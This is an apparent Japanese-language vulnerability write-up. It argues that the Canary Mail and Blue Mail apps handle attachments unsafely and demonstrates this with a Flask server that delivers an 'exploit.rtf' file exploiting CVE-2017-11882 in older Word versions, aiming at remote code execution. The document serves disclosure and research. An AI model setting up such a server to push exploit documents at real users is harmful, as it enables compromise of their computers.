
Canary Mail または Blue mail を使用する場合の安全でない添付ファイルの取り扱い
核心的な問題は、ユーザーが悪意のある添付ファイルを開くことではなく、Canary Mail や Blue Mail などのアプリが、添付ファイルを保存または開封するための便利でありながら安全ではない機能を提供していることです。これは、ユーザーを攻撃者にさらすセキュリティ脆弱性であると考えます。
"プログラムから開く" または "名前を付けて保存" ダイアログボックスを介した Office Word 添付ファイルの安全でない開封を実証するため、Office Word 16 以前に搭載されている数式エディタの脆弱性 CVE-2017-11882 を使用しました。
from flask import Flask, send_file, request
import logging
from datetime import datetime
app = Flask(__name__)
# Configure logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
@app.before_request
def log_request_info():
logger.info(f'Request: {request.method} {request.url} from {request.remote_addr}')
@app.after_request
def log_response_info(response):
logger.info(f'Response: Status {response.status_code} for {request.url}')
return response
@app.route('/download')
def download_file():
try:
response = send_file('exploit.rtf', mimetype='application/msword', as_attachment=True)
logger.info('File download successful')
return response
except FileNotFoundError:
logger.error('File exploit.rtf not found')
return 'File not found', 404
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=5000)
Microsoft Office Word 16 以前の旧バージョンを使用しているユーザーに対する潜在的な RCE
https://github.com/user-attachments/assets/fc99d603-f56f-451b-a9f2-821422feef61
https://github.com/user-attachments/assets/68b638b9-e906-4c78-baae-84a369f807f3
このリポジトリは教育および防御的なセキュリティ研究のみを目的としています。